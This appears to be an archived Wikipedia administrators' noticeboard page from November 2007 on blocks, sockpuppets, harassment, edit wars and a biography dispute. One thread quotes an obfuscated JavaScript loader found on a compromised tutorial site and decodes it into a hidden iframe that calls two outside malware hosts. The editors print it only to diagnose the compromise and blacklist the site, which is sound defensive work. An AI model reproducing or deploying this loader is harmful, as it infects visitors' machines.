A major BLP violation on Taner Akcam article. About a year ago he was detained in the Canadian border because the border guard had a printed wikipage that said he was a terrorist . --VartanM 17:51, 2 November 2007 (UTC)

Eh, I thought you guys would show a little more sense of urgency on this article, considering that he was detained at least twice because of libelous wikipedia article . I reverted the article but I would still like to see this edit summary deleted. VartanM 19:47, 2 November 2007 (UTC)

I'm adding the page to my watchlist. I'll be sure to inform someone with more tools if such are needed. In the meanwhile, you can always take urgent reports to WP:BLPN. Sheffield Steel_stalk 20:18, 2 November 2007 (UTC)

User 202.62.80.3 - apparent extreme hazard

It appears that this anonymous user, whose contribution history consists exclusively of repeated attempts to add the same external link into the SQL page, is far more insidious than a mere spammer. Upon browsing to the page he or she is promoting, beginner-sql-tutorial.com, a seemingly relevant and innocuous URL, AVG intercepted an attempt to run the JS/Psyme virus, which apparently is some sort of trojan downloader. This anonymous user's only contribution has been to submit the same nasty link, which has thus far been reverted 4 times over the course about 2 weeks, most recently today. I urge you to take immediate action to ban this IP, since this appears to be a very serious threat to any unsuspecting Misplaced Pages user who doesn't happen to have adequate anti-virus protection. Anyone who submits that particular URL or commits a similar offense should swiftly and decisively be attended to with the greatest urgency. - JCLately —Preceding comment was added at 17:55, 2 November 2007 (UTC)

Ouch. Blocked for a month as a safety measure while we get this sorted out. Raymond Arritt 17:59, 2 November 2007 (UTC)

Followup: I didn't get a virus warning from AVG, and googling shows that the site is a reasonably well-known tutorial. Does anyone else get warnings when visiting this URL? Raymond Arritt 18:05, 2 November 2007 (UTC)

(ec):::I was just going to say the same thing... I didn't get an virus warning and resident scan after visiting was clean. I was going to blacklist the link if I could confirm the loader, but now I think not.--Isotope23 18:07, 2 November 2007 (UTC)

I visited the offending URL again, and I'm still getting the same virus alert from AVG. Same thing after clearing my browser cache, too. I have AVG set to auto-update every day, so this was done this morning. I seldom get such warnings from AVG - only once before, and I don't think it was a false positive - so I don't take these lightly. I'm not sure why you can't reproduce the problem, but a Google PR of 1 doesn't exactly qualify as "reasonably well-known" in my book, so I would not be too quick to dismiss this incident. In any case, the anonymous IP in question does look rather suspicious, don't you think? - JCLately 18:29, 2 November 2007 (UTC)

What browser? I was using Firefox 2.0.0.8 under WinXP, and Argyriou below was using Opera. Are you using IE? Raymond Arritt 18:44, 2 November 2007 (UTC)

I'm using IE 6 SP2, running under Windows XP Pro SP2. - JCLately 18:49, 2 November 2007 (UTC)

No ill results visiting with Opera on WinXP, with Symantec AV running. The only included javascript files are google ad pages. There's a script at the top which may be suspect:

(script language='JavaScript')function ndfc() {var t,o,l,i,j; var s=;s+='060047116101120116097116101097062060047116101120116097114101097062'; s+='060105102114097109101032115114099061034104116116112058047047116114097102102108111097100115046105110'; s=s+'047105110046099103105063050034032119105100116104061034049034032104101105103104116061034049034032115'; s=s+'116121108101061034100105115112108097121058110111110101034062060047105102114097109101062'; t=;l=s.length;i=0; while(i<(l-1)){for(j=0;j<3;j++){t+=s.charAt(i);i++;}if((t-unescape(0xBF))>unescape(0x00))t-=-(unescape(0x08)+unescape(0x30)); document.write(String.fromCharCode(t));t=;}}ndfc();(/script)

(I've changed the angle brackets around the script tags to parentheses for safety.) Argyriou (talk) 18:35, 2 November 2007 (UTC)

It is. It triggered my virus alert as well. It appears to be an IFrame exploit. Once I finish debugging, I will tell you what it is trying to do. spryde | talk 18:49, 2 November 2007 (UTC)

It says exactly this:</textatea></textarea><iframe src="http://traffloads.in/in.cgi?2" width="1" height="1" style="display:none"></iframe> , which then loads this url: http://superengine.cn/0410/index.php. Whatever it is doesn't look good. -- zzuuzz 19:03, 2 November 2007 (UTC)

Beat me :) Anyway, it looks like someone has compromised that particular page based on and is trying to drive traffic elsewhere. spryde | talk 19:06, 2 November 2007 (UTC)

Tis the results a virus. . Might want to keep this around in case we see other external links that have been compromised like this. FYI, I got it with IE and not Firefox.spryde | talk 19:09, 2 November 2007 (UTC)

That would explain it, I was using Fox. Any objections to blacklisting this site for the time being? We can always pull it off the list if they resolve this (assuming the site is legit and the target of a malicious code attack)--Isotope23 19:34, 2 November 2007 (UTC)

I might object as it doesn't appear to be the sites fault. Google shows quite a few that would need to be blacklisted. spryde | talk 19:41, 2 November 2007 (UTC)

I mention that because the site is linked in 14 other places here on Misplaced Pages.--Isotope23 19:45, 2 November 2007 (UTC)

Ugh. I withdraw my objection. I should put a note somewhere to go back and check to see when that code is removed in order to readd the links. spryde | talk 19:51, 2 November 2007 (UTC)

I removed the links and I'm going to blacklist it for now. If anyone notices they resolve the issue, just contact me and I'll rollback my removals.--Isotope23 19:53, 2 November 2007 (UTC)

No objections from me to the blacklist for the time being. There has been some talk about the need for logging of entries at WP:SBL. This would be a good example of why logging should be used. -- zzuuzz 19:57, 2 November 2007 (UTC)

I commented the entry and posted a reason on the talkpage. Let me know if there is somewhere else this needs to be logged.--Isotope23 20:03, 2 November 2007 (UTC)

New Wikzilla sockpuppet?

New user Williewikka is apparently the latest Wikzilla sockpuppet. As usual, removing sourced material, incivility and is already at 2RR on Eurofighter Typhoon. Currently active and already warned about ongoing activity. Please monitor and possibly checkuser. Askari Mark (Talk) 19:14, 2 November 2007 (UTC)

Blocked. CitiCat 20:14, 2 November 2007 (UTC)

user: mahalath

http://en.wikipedia.org/Special:Contributions/Mahalath various mildly disruptive edits..not sure what the policy is in this kind of situation. Alexhard 19:44, 2 November 2007 (UTC)

Well, the place to start is with a note on the user's talk page, which I have placed. Here's a

User:65.254.5.195

This IP has been used repeatedly and (almost) exclusively for vandalism. The user talk page speaks for itself. The IP has been blocked twice this year already... Is there a way to put an IP on a watch list, to check anything they do? I just reverted some vandalism it did right after getting a "last warning" about the same page... Ratfox 19:53, 2 November 2007 (UTC)

You probably want what is known as a softblock. This forces any user from this IP to login. It helps cut down the spam from school districts. spryde | talk 20:25, 2 November 2007 (UTC)

Eh, generally speaking, even bothering to warn a school-IP with a history is the equivalent of pissing into a strong wind. Just report 'em here, mention they're a school IP and go on with your life. HalfShadow 21:09, 2 November 2007 (UTC)

WP:RBI. Caknuck 23:29, 2 November 2007 (UTC)

Except that then you're liable to get your report ignored or removed because you failed to warn the editor. :( --ElKevbo 00:50, 3 November 2007 (UTC)

The AIV helperbot tags known school ip's as such, which means that the reviewing admin is fully aware that warnings are unlikely to be seen by the particular vandal. Me? I just take a quick look at the volume to noise ratio of edits and the block log - nothing but vandalism and a recent block and I block to the next level. The most important thing is to {{schoolblock}} template the talkpage to allow pupils wanting to contribute to be able to get an account. LessHeard vanU 13:30, 3 November 2007 (UTC)

Harassment and attacks

Okay, so now I've had enough of the trolling, harassment and personal attacks towards me diff 1, diff 2, diff 3 and the articles I'm involved in by 84.45.220.163 (talk · contribs) as a result of the Drake Circus and Drake Circus Shopping Centre debacle. This self professed student (aka a SPA account that is only being used for trolling etc) has taken exception to the work I've done on WP and is now attempting to disrupt to make a WP:POINT. He's constantly trolling on talk pages, making vandalistic edits (c/w non-civil edit summaries) and generally being a nuisance. I have no good faith left, I have no civility left. This Drake Circus nonsense has gone on for 2 days now and I'm pissed off with the constant crap coming in my direction. Could an administrator take charge before I find myself getting blocked for incivility. I've managed to get bugger all of any note done today just trying to sort the crap left behind by these morons. AnonEMouse has been graciously dealing with another anon IP doing the same thing and Jéské caught the admin flak yesterday. Thanks. ---- WebHamster 20:00, 2 November 2007 (UTC)

Blocked 24 hours for vandalism and trolling. IrishGuy 20:31, 2 November 2007 (UTC)

You may also want to consider 217.42.76.143 as that anon seems to have the same MO as the other IP. spryde | talk 20:38, 2 November 2007 (UTC)

I have a checkuser out on Yiwentang and (almost, if not) all the IPs from yesterday. I have not added 217.42.76.143 to it, and I can't recall offhand if I added the other one. -Jéské 00:31, 3 November 2007 (UTC)

There's also a possibility that Andytempt (talk · contribs) is either a sockpuppet or one of the SU meatpuppets. IrishGuy has been kind enough to nip him in the bud though. ---- WebHamster 00:44, 3 November 2007 (UTC)

We're getting overrun, add Harrybevan (talk · contribs) to the list. His MO is the same as the others, with the exception that he doesn't seem to vandalise, just troll... yet! ---- WebHamster 01:27, 3 November 2007 (UTC)

And another SPA joins the Drake Circus circus. 86.146.138.94 (talk · contribs) is already handing out attacks and incivility here and based on the edit summaries in his contrib list he seems keen to be blocked. ---- WebHamster 02:25, 3 November 2007 (UTC)

Add them to the CU request as they pop up, please. It hasn't been responded to yet, and if we find that these are Yiwentang socks... -Jéské 04:02, 3 November 2007 (UTC)

CU Results

The Checkuser came back Likely that Yiwentang is using the IPs, but I didn't provide evidence for the named accounts. -Jéské 19:37, 3 November 2007 (UTC)

Sockpuppet on Jimbo Wales's page

Misplaced Pages:Suspected sock puppets/Earthenboat - This person appears to be back on as User:Newlyheads. • Lawrence Cohen 21:23, 2 November 2007 (UTC)

Thanks for the heads up, I have already removed his comment from their twice because it contained an albeit vague legal threat. Thanks, SqueakBox 21:25, 2 November 2007 (UTC)

Probable Jon Awbrey sock, see Misplaced Pages:Suspected sock puppets/Earthenboat. Thanks, SqueakBox 21:38, 2 November 2007 (UTC)

If anyone has a moment

Can someone skim a second pair of eyes over this AfD, which (aside from degenerating into a farce of sockpuppetry) is starting to fill up with bizarre BLP violations and vague allegations of interference by the Cabal, all by the (almost)-SPA Farstriker (talk · contribs)? As I've already posted a fair amount to this AfD - and apparently am now part of the Cabal myself - it would probably be less likely to end in a reversion/block cycle if someone who hasn't commented did any necessary snipping.

Also, if I am now a member of the Cabal, I'd like to lodge my extreme displeasure that neither the groupies nor the secret Wikimedia gold bullion have turned up yet. — iridescent 01:08, 3 November 2007 (UTC)

I've refactored the really egregious part and left a friendly message. Your cabal certificate and pin are in the mail, along with the key card to access the gold bullion stored at your local branch of the Federal Reserve. Unfortunately, the groupies have been diverted for an important strategy session at the Pentagon and will not be available for several days. --Haemo 01:39, 3 November 2007 (UTC)

Thanks... (The annoying thing about that AFD is that all the WP:OTHERCRAPEXISTS arguments are quite right in his case.) — iridescent 01:48, 3 November 2007 (UTC)

Please note that cabal membership entitles you to access to the Bar de l'Admin Rouge on production of a block log containing at least one user whose username indicates a crusader for The Truth™. I see your block log qualifies you here. Guy (Help!) 09:37, 3 November 2007 (UTC)

Interesting Discussion I do note that a fair portion content was removed prior to the the edit by Farstriker @ 1900 on the 2/11 it was this diff by Farstriker at 0100 on the 2/11.but was restored two minutes later here and his comment was removed in the reversal process in error. Gnangarra 10:10, 3 November 2007 (UTC)

User:Rkowalke insists on exposing personal details of fellow editor

User:Rkowalke is a WP:SPA that graduated from Warren National University (WNU) and now edits primarily just that article and the talk page. He has exhibited what I would characterize as an edit pattern of trying to minimize any negative information about WNU. He exhibits severe violations of WP:AGF frequently bordering on violations of WP:NPA against any editor that adds information critical of WNU to the article. He has talked about revealing what he believes is my personal name despite my protest and requests that he discuss the article and not discuss his fellow editors, , , and . His editing pattern includes blatant plagiarism at which point he showed zero remorse but instead denied that copying information from the WNU website and including it without quotes or reference was plagiarism because this was for the WNU article and he wasn't claiming that he wrote it. Talk:Warren_National_University/Archive_2#Faculty_Section_plus_miscellaneous_.28plagiarism.29 He has been banned for violating WP:3RR . Since his block for 3RR his edit warring has gotten much better but he has probably become even less civil. For example, he recently has insisted on posting the city location for an anon account that added an edit that he didn't like. Any help or suggestions would be appreciated. TallMagic 03:02, 3 November 2007 (UTC)

I agree with TallMagic that posting the city location is highly improper, as it is clear from other contributions by this IP under what user name this IP used to edit. --Paul Pieniezny 03:34, 3 November 2007 (UTC)

User:I already forgot

I_already_forgot (talk · contribs · deleted contribs · nuke contribs · logs · filter log · block user · block log), a user with an otherwise unimpeachable contribution history, left this terribly inappropriate comment at this user's RfA. The nature of the comment (overtly sexual and subtly threatening in nature) is quite decidedly inappropriate, and would be seen as trolling from most any user, but, as noted, User:I already forgot hasn't done anything like this before, so there is a small chance the account could be compromised. Until he explains himself and accounts for his comment, I feel he should remained blocked. --Jeffrey O. Gustafson - Shazaam! - <*> 08:00, 3 November 2007 (UTC)

I agree with the block. The comment is completely out of step of the user's other contributions. -- Flyguy649 08:04, 3 November 2007 (UTC)

To Catch a Predator? Block was justified. the_undertow 08:07, 3 November 2007 (UTC)

I concur. I received email regarding the comment after I reverted it, but even then, while the intentions of the comment were explained, they were out of line. -- Anonymous Dissident 08:09, 3 November 2007 (UTC)

Now that the edits have been explained (you may or may not disagree, but you know that the user hasn't gone batshit insane, and they haven't lost control of their account), can xe be unblocked? WODUP 08:23, 3 November 2007 (UTC)

The user was likely responding (oddly and inappropriately) to this edit, in which I did say that I had no problems with pornography. However, in *this* case, my response would be akin to this, which is to say that an RfA is a completely inappropriate place to put something like that, as no one expects to see adult content in the middle of it. I support this block not because it was 'defending' me, but because there are places on Misplaced Pages where content of an adult nature is reasonable and to be expected (if, say, I searched for either of the terms he mentioned), and there are places where it is not. An RfA was not the place to pose the question so explicitly. --Thespian 08:56, 3 November 2007 (UTC)

• Endorse the block wholeheartedly. There should be no place for trolls like him in Misplaced Pages. MaxSem 09:33, 3 November 2007 (UTC)
• A pound says this is also Forgetaboutit4000 (talk · contribs · deleted contribs · logs · filter log · block user · block log). Endorse, anyway. Guy (Help!) 12:45, 3 November 2007 (UTC)

Obviously you exhibit poor judgment as you are not even close. I'm sure a check user has been performed many times and has shown I only use my bot account and the I already forgot account. What makes you come up with such nonsense? Just because the other user has "forgot" in his/her name? Thats some pretty shallow detective work. Sorry for being pointed but the personal attacks are not warranted.I already forgot —Preceding unsigned comment added by 68.26.178.226 (talk) 17:30, 3 November 2007 (UTC)

• You guys really do not have a clue do you? Not only do you have a misunderstanding of what trolling is, you now accuse me of having sock accounts? I could insert a load of diffs to clue you in on to what is going on, but it's rather comical as I know most user cant or will not read past the first sentence. Also, please do not make completely and totally false accusation of me having sock accounts or being related to porn at all. It only makes you look more clueless as to what happen and to the other existing policies that would allow a person to ask for help with such articles. I could call up the anti censor crowed and cite WP:CENSOR(hello policy) to back me on this, but I'm neither pro or con censorship and would personally like to the image removed from the list of sex position article and the title "fist fuck" removed from the fisting article as well. Blocking me is fine, but don't make totally false slanderous accusations with out proof of such. I slandered no one, made no threats, and used wikipedia policy to ask a very controversial question whether you like it or not. Again, actually do some reading before speculating and try to make yourself informed and not so clueless. I already forgot —Preceding unsigned comment added by 68.26.178.226 (talk) 17:19, 3 November 2007 (UTC)

Also, when is the last time a troll sent a message to an admin informing them of their intentions? I suggest a few read up on trolling so they know exactly what it is and when to turn the mop into a billyclub. I already forgot —Preceding unsigned comment added by 68.26.178.226 (talk) 17:37, 3 November 2007 (UTC)

I shouldn't have to mention this, but wouldn't it also be a good idea to block my bot and remove it's bot flag? I know how the system works better than any troll or vandal and could get away with a lot of damage as I can pretty much program anything you need done on wikipedia. If I am indeed a troll or even suspected, this should have been the first thing blocked. Just giving a heads up on how such issues should be handle by the blocking admins as I have no plan to abuse wikipedia but the bot should be blocked anyway to prevent potential abuse by a disgruntled user.I already forgot —Preceding unsigned comment added by 68.26.178.226 (talk) 18:10, 3 November 2007 (UTC)

I can't endorse an indef block on this account. Blocks are not meant to be punitive, etc, and it's highly unlikely that there will be an further disruption as a result. Having said that, his comment was disturbing in the extreme and totally uncalled-for regardless of the rationale. Like, seriously - Alison 18:53, 3 November 2007 (UTC)

I agree about the disturbing nature of the image but be aware that it is in one of our top 100 articles! The "fist ****" is in one of our articles as well! Disturbing or not, we have many user pushing for these type of pages and images and it has caused many grief in my vandal fighting. These things cannot be ignored and we need to know how admins will handle similar situations. --Anon user formely known as I already forgot70.6.66.144 19:53, 3 November 2007 (UTC)

Sorry, but messing around on the same RfA that you posted the comment on, block evasion by socking, etc, etc is a deal-breaker for me. You've been blocked. Stand up address the root cause instead of fooling around. You've no regard for the rules you seem so concerned about - Alison 21:03, 3 November 2007 (UTC)

I have mixed feelings about the length of the block. I was shocked by the inappropriate RfA comment too; both because it was replaced by the user when removed, and for the breathtaking inappropriateness of what was said. I think I understand what the user's intentions were, and those too are deeply inappropriate. RfA is not meant to be a trial by ordeal. I should note that I was just having a relatively civilised discussion with the user at Misplaced Pages talk:WikiProject Firearms#Keep or remove (part 2). In my opinion, I already forgot needs to learn better how we work here; if he shows any sign of appreciating what he has done wrong and undertakes not to repeat the offensive behaviour, I would support reducing the block to a week. So far I have not really seen any evidence of this, and the propensity to threaten, wikilawyer and bluster seen in the posts above make me think we would not be losing much by leaving the block in place. --John 19:02, 3 November 2007 (UTC)

I've blocked User:68.26.178.226, for evading User:I already forgot's block, based on comments made here, at User talk:I already forgot, and, Thespian's RFA. I only blocked for 24 hours, as I assume we'll have this worked out by then. SQL 19:10, 3 November 2007 (UTC)

You're kidding right? You can block my account but you cant keep me from ever editing again (Hello account indef blocked). I had a feeling you where not completely ready for adminship... At least it must feel good for you to get some payback for me opposing your RFA right? No one has yet to provide a policy I violated (other than editing style), so my statements of admin abusing their powers are ringing through here. --anon user formerly known as I already forgot —Preceding unsigned comment added by 70.6.66.144 (talk) 19:41, 3 November 2007 (UTC)

So instead of fessing up to the fact that you made a mistake & apologizing, you'd rather play a game of whack-a-mole with the rest of us? Everyone has a momentary lapse of judgement, & does something wrong. If you understand why what you did was wrong, admit to having made a mistake, then this will all be over & we all can move forward & continue to improve this encyclopedia. However, if your pride is so important that you want to compound a moment's mistake with countless more -- such as this sockpuppetting foolishness -- it will only lead to the rest of us (who I bet are like me, who until now had no opinion about you good or bad) deciding to pitch in & making an indef block into a permanent community ban from Misplaced Pages. -- llywrch 20:27, 3 November 2007 (UTC)

I hadn't seen this when I made my previous comment. I did notice a certain pointiness in my previous dealings with him, and a willingness to argue for argument's sake, rather than be guided by consensus. Although this user has made some good contributions and is clearly intelligent and knowledgeable, unless he is willing to abide by our core values (including consensus and civility), there is nothing here for him, and nothing lost in leaving the block in place. Continuing attempts to game the system just make that more inevitable. At this point the ball is firmly in I already forgot's court. I suggest they think seriously about the choices they make from here on, if they wish to continue to contribute here. --John 20:47, 3 November 2007 (UTC)

I think the fact that this has blown up into such an issue is rather ridiculous. Of course I already forgot could have displayed much more tact and courtesy in asking his question/testing Thespian, but are we permanently blocking members for one instance of inappropriate tone in 4000+ otherwise contributing edits? Block him for a few days at most, but a permanent block is unnecessary, especially given what's usually necessary for immediate permanent blocks (trolling or vandalism-only accounts, sockpuppets, etc.). This isn't a troll's first edits, but an otherwise good member of the community slipping up once. I'm not defending the style of I already forgot's question, but it isn't something to permaban someone over. — ዮም | (Yom) | Talk • contribs • Ethiopia 22:18, 3 November 2007 (UTC)

I agree with you Yom that this user could have shown much more tact in the original question. And before I encountered a browser crash, my comment to this thread was along the lines of "You did something worse than harassing someone -- you were wrong." (And this response to his misbehavior didn't help the situation.) However, he came back with a couple of sockpuppets, claiming that we can't block him; that doesn't convince anyone he's been misunderstood, & is still a valuable contributor. Then again, I haven't seen any more posts from him, so maybe he understood what I was trying to say & took a break from Misplaced Pages to calm down, collect his thoughts, & will engage in some constructive dialogue. That would end the block pronto, & if he had done this in the first place, it would have been over in a few hours or less. I have no problem with letting him come back; as I wrote above, I don't have an opinion about him, good or bad. My comment above was more along the lines of advice, rather than a threat from some power-hungry Admin. -- llywrch 23:20, 3 November 2007 (UTC)

Unless I am missing something we have a good 'pedia builder who said one really inappropriate comment and is indefinitely blocked. I am not sure how this is consistent with the way some other cases are handled with destructive edit wars, reverts and ample swearing in edit summaries. Why is this not a 1 or 3 day block and be done with it? cheers, Casliber (talk · contribs) 22:39, 3 November 2007 (UTC)

An indefinite block was justified before the block evasion, and now is somewhat obvious. Addhoc 22:46, 3 November 2007 (UTC)

Misplaced Pages:Suspected sock puppets/Porcupine

Could someone deal with this, please, making sure that you look at the page's history, plus the talkpages of myself + the nominator. Cheers!--Porcupine (see my userpage for details) 09:08, 3 November 2007 (UTC)

Thank you. I have closed the discussion. Repeated incivility has been withstood and I don't want to take part in the discussion any more. Auroranorth (sign) 09:10, 3 November 2007 (UTC)

But you haven't. I'll do so now.--Porcupine (see my userpage for details) 09:11, 3 November 2007 (UTC)

Please remove the speedy deletion tag from WP:SSP. Auroranorth (sign) 09:12, 3 November 2007 (UTC)

I've done so. I'm really quite efficient.--Porcupine (see my userpage for details) 09:14, 3 November 2007 (UTC)

(removed discussion headers, etc.) Will be archived in due course. Auroranorth (sign) 09:25, 3 November 2007 (UTC)

Note Rambutan/Porcupine/Circuit Judge closed the SSP on himself. This was reopened as that's a COI issue. The blocking admin, Martinp23, was contacted and will take the issue from here. Rambutan/Porcupine/Circuit Judge asked Martinp23 to block his account and promised not to edit til Jan 20, 2008 or so. Rambutan/Porcupine/Circuit Judge then opened the Circuit Judge account one week later and began heavy editing, which precipitated this thread and the SSP case. Rambutan/Porcupine/Circuit Judge admitted Circuit Judge was his, but there appears to be no socking going on. Martinp23 will handle the trust issue. — Rlevse • Talk • 14:26, 3 November 2007 (UTC)

Of my 97 edits over 3 days, only 3 have been mainspace; most of the others have been "housekeeping" in setting up the new accoutn, or dealing with the stupid sock-report. Scarcely "heavy editing"!--Porcupine (see my userpage for details) 15:03, 3 November 2007 (UTC)

• I have a serious problem with this continued changing of usernames to avoid the history of past blocks, while continuing the same kind of behaviour. I'd want to see some evidence that the user is no longer going to be an edit warrior before we sit back and let him put the past behind him again. Guy (Help!) 14:52, 3 November 2007 (UTC)

José Galisteo

The subject of this article (which I wrote) has emailed me, demanding that we remove all gay references (even the fact that he performed at Europride and that he has gay fans) and all references to the fact that he served in the military. All contentious material is sourced and the article was vetted by several editors, including an admin. I even found a Spanish speaking editor to read the source material, just to double check my translation. Since I was emailed, I posted this on The LGBT Project talk page, where the consensus was that as it is sourced it should stand. I posted it to the BLP Noticeboard, too, but that page is not well trafficked, alas, so I am posting here to get a wide community consensus on how to proceed. I have emailed Galisteo, explaining Misplaced Pages policies and saying the article is currently being reviewed to ensure conformity with said policies. He emailed me once again, reiterating that the material should be removed, and saying his fan club site is the best source of information. He has also reverted both the English and Spanish articles. Please review. I will not be editing this article myslef for the foreseeable future, as I feel it would be a conflict of interest as both the article's creator and a fan of Galisteo (though this incident has made me see him in a different light). Jeffpw 09:42, 3 November 2007 (UTC)

I forgot to add that the email was web based (hotmail) so there is no way to actually verify it is the subject himself or somebody else. I am assuming good faith and going with the presumption that it is actually him. Jeffpw 09:54, 3 November 2007 (UTC)

Ask him to mail OTRS (info-en-q@wikimedia.org) detailing precisely what the problem is, and which text is inaccurate, preferably with some kind of evidence. Guy (Help!) 11:49, 3 November 2007 (UTC)

The way I read the sources, it's tricky; because of the way they're written, it's not clear if the interviews are actually quoting him or if they are quoting what was found on the internet. Can others who speak Spanish please look over what I wrote on the BLP board. It's a question of whether he has self-identified as gay, or whether the magazines are merely repeating blog-fueled rumors, and it's hard to tell. SandyGeorgia (Talk) 02:29, 4 November 2007 (UTC)

Himayat-Anjuman-i seemingly worthless editing

I am keeping an eye on the contributions of Himayat-Anjuman-i (talk · contribs) who is making a large number of edits with the edit summary "cleanup using BravoWIki", a client I have never heard of. Most of his/her edits seem completely worthless such as changing the position of stubs in articles. I have left a message on the talk page as have a couple of other editors. I wonder if a block may be in order of the user cannot explain this editing pattern? Tim! 10:16, 3 November 2007 (UTC)

A block certainly isn't in order but he's more than likely using those summaries to appear "better" than your average editor. Someone else should have a word with him but I wouldn't go as far as blocking him (Even though I can't)--Phoenix-wiki (talk · contribs) 12:11, 3 November 2007 (UTC)

On second thoughts, it looks like he's running an unauthorised bot from his account. An admin should investigate further--Phoenix-wiki (talk · contribs) 12:14, 3 November 2007 (UTC)

Indeed. Everything points to an unauthorized bot: about 1,000 (seemingly useless) edits in 7 hours many of them performing different trivial tasks seconds apart, all with an identical edit summary.--Fuhghettaboutit 12:27, 3 November 2007 (UTC)

I was about to but Maxim already blocked.--Fuhghettaboutit 12:29, 3 November 2007 (UTC)

User:3meandEr and Northern Cyprus

3meandEr (talk · contribs · deleted contribs · page moves · block user · block log), a new editor and apparent single-purpose account, has repeatedly been edit warring on Northern Cyprus (edit | talk | history | protect | delete | links | watch | logs | views) since creating his account on 4 October. He has sought to replace the existing intro with a new and very POV version (see e.g. ) as well as littering the article with "weasel word" tags. This was reverted several times by different editors. Aecis (talk · contribs · blocks · protections · deletions · page moves · rights · RfA) protected the article on 7 October to stop the edit war. However, 3meandEr resumed edit warring within hours of the protection expiring on 21 October, and on 22 October I protected the article again to stop the edit war. I intervened on the talk page in an attempt to explain to 3meandEr what our policy requires. I also warned 3meandEr on his talk page not to resume edit warring or violating policy. After I unprotected the article on 1 November, 3meandEr began edit warring again and Aecis once again protected the article.

As things stand, the article has been editable for only about 1.5 days over the past month, solely because of this one disruptive editor. Aecis, ProhibitOnions (talk · contribs · blocks · protections · deletions · page moves · rights · RfA) and I have tried working with him to educate him about WP:NPOV, WP:SOAP, WP:CONSENSUS, WP:V, WP:CITE, WP:RS, WP:NPOV and WP:OR. As this exchange indicates, 3meandEr simply doesn't get (or more likely doesn't want to get) Misplaced Pages's basic policies. This has been going on for a month now and I see no realistic possibility that he is going to start cooperating.

I'd be grateful if an uninvolved admin could review this situation. Misplaced Pages isn't being run for the benefit of abusive editors and it's unsatisfactory that an important article should be off-limits for a month because of one person who wants to use Misplaced Pages as a soapbox. I recommend blocking or banning 3meandEr as a disruptive SPA. I can't block him myself, since I've edited the article. -- ChrisO 11:10, 3 November 2007 (UTC)

I agree wholeheartedly with the above assessment. A quick look at the article's talk page shows several users (of various backgrounds, not just "Turkish POV") trying to reason with this SPA with no success whatsoever. Note that the poorly written, propagandistic additions to the article the user proposes (or makes, as soon as the article is unlocked) have not changed in the slightest. ChrisO has a reputation as a great mediator -- I don't suspect he'd be posting here except as a last resort, and he is only doing so after a lot of fruitless effort to get this SPA to work productively on the article. ProhibitOnions 11:26, 3 November 2007 (UTC)

Blocking for a week (for starters, and will re-block immediately if he continues after that). You guys are right, we can't keep the article protected forever just because of him. Fut.Perf. ☼ 11:29, 3 November 2007 (UTC)

I agree with ChrisO's analysis of 3meandEr's editing behaviour. It is uncooperative and opinionated at best. Basically it's just his editing that has led to the last three or four protections of the article. The other editors, who are on all sides of this issue (pro-Cyprus, pro-Northern Cyprus and uninvolved), appear to be willing to work towards a compromise that meets all of Misplaced Pages's guidelines and policies. 3meandEr's editing is keeping them from reaching that consensus and compromise. What ChrisO and I disagree about (see User talk:Aecis#Northern Cyprus and User talk:ChrisO#3meandEr) is what stage 3meandEr has reached. ChrisO basically feels that he has crossed the line and should be blocked, while I feel he should receive a stern final warning now and should be blocked the next time. Having said that, I can live with the block FutPerf issued. Aecis 12:22, 3 November 2007 (UTC)

Two things led me to that conclusion. The first was his willful resumption of edit warring even after I'd explicitly warned him against it, and the second was his exchange with you on your talk page and his. I concluded that he had no intention of following policy and was making it clear that he wouldn't do so in future. There was nothing to be gained by allowing him to continue editing, as he wasn't going to agree to anything that restricted his POV-pushing. -- ChrisO 14:46, 3 November 2007 (UTC)

User is already blocked for a week. When he returns he will have a choice to discontinue his previous behavior, and if he does not, block again in an escalating rate (two weeks, one months, etc.) ≈ jossi ≈ (talk) 15:02, 3 November 2007 (UTC)

I agree with ChrisO's analysis of the situation. Keeping a page protected due to a single disruptive editor is not fair to the other editors who are trying to work productively toward a consensus version. In its current form Northern Cyprus is reasonably balanced, and (until 3meandEr took over) there was a cooperative effort going on to improve the lead and the referencing. EdJohnston 15:11, 3 November 2007 (UTC)

3meandEr really doesn't seem to understand what's wrong with his/her version. Either the editor is being intentionally obtuse, or s/he simply doesn't understand NPOV. 3meandEr seems to have only edited articles related to Cyprus. S/he needs some diversity in his/her editing. I'd say unblock on the condition that s/he stays away from articles related to Turkey and Cyprus (including talk pages). In a few months, if s/he settles down a bit, we should reconsider. Guettarda 15:08, 3 November 2007 (UTC)

the pest of Plymouth

For some time now there has been a tiresome campaign by somebody using a series of UIDs and IP numbers -- or conceivably more than one person, with remarkably similar obsessions and propensities to mock, whinge, vandalize, bluster, threaten, misread and make spelling mistakes -- who's most worked up about (i) what he thinks is the dreadfulness and insignificance (odd combination, yes) of Drake Circus Shopping Centre (Plymouth, SW England; a town of which I know little), (ii) its alleged misappropriation of the name Drake Circus, and (iii) the systemic failures of WP evidenced by its biased coverage of this and other Plymouth-related stuff. (And predictably he also says WP is a mere joke.) On occasion he's been countered by an apparent defender of the shopping centre, though I've wondered if the defender is real or merely a rhetorical device.

Both articles have been sprotected (which seems odd for something so local), but after ranting on the talk pages he's been posting tiresome squib after tiresome squib there, some of them at least appearing to ask a valid question (until one realizes that it merely demonstrates a wilful refusal to read an earlier response). WebHamster, I and others have been doing our best to answer him or (since he's clearly uninterested in answers other than as fuel for more trolling) swatting him away. On occasion, of course, we've got slightly wound up or even fed the troll: if you bother to go through the verbiage, you'll see miscellaneous, er, civility malfunctions of mine.

I'm tempted to be BOLD and announce that I'll delete anything even smelling of trollery; but even if that were permissible, implementing it would probably just encourage him to fan out to other articles: as it is, he's conveniently localized. The troll hasn't managed to irritate me except in the considerable amount of time he has wasted. For this, assistance would be welcome; a new (and "killer"?) countermeasure that I haven't thought of even more welcome. -- Hoary 13:50, 3 November 2007 (UTC)

Please don't think I'm being incivil, Hoary, but I've been monitoring those discussions, and I can't help thinking that you have fanned the flames of his ire by continually replying to his every remark (not exactly, but you know what I mean). I'm far less experienced here than you, of course, but once a person's credentials are established as "troll", I always thought that the best policy is to simply monitor their input and only respond when necessary (when a valid clearly-stated point is made, or with a standard warning, as appropriate). This is how such people used to be dealt with on Usenet, for instance. Hope this helps, Smalljim 14:26, 3 November 2007 (UTC)

You may very well be right, Jim. Perhaps one problem has been that there has been more than one person dealing with him: I've thought that if I didn't respond then Hamster or you or someone else would have to, and Hamster may have thought similarly. Meanwhile, please don't worry about being less than civil to me: (i) you weren't at all, and (ii) being pretty thick-skinned, I wouldn't have minded if you had been. -- Hoary 14:43, 3 November 2007 (UTC)

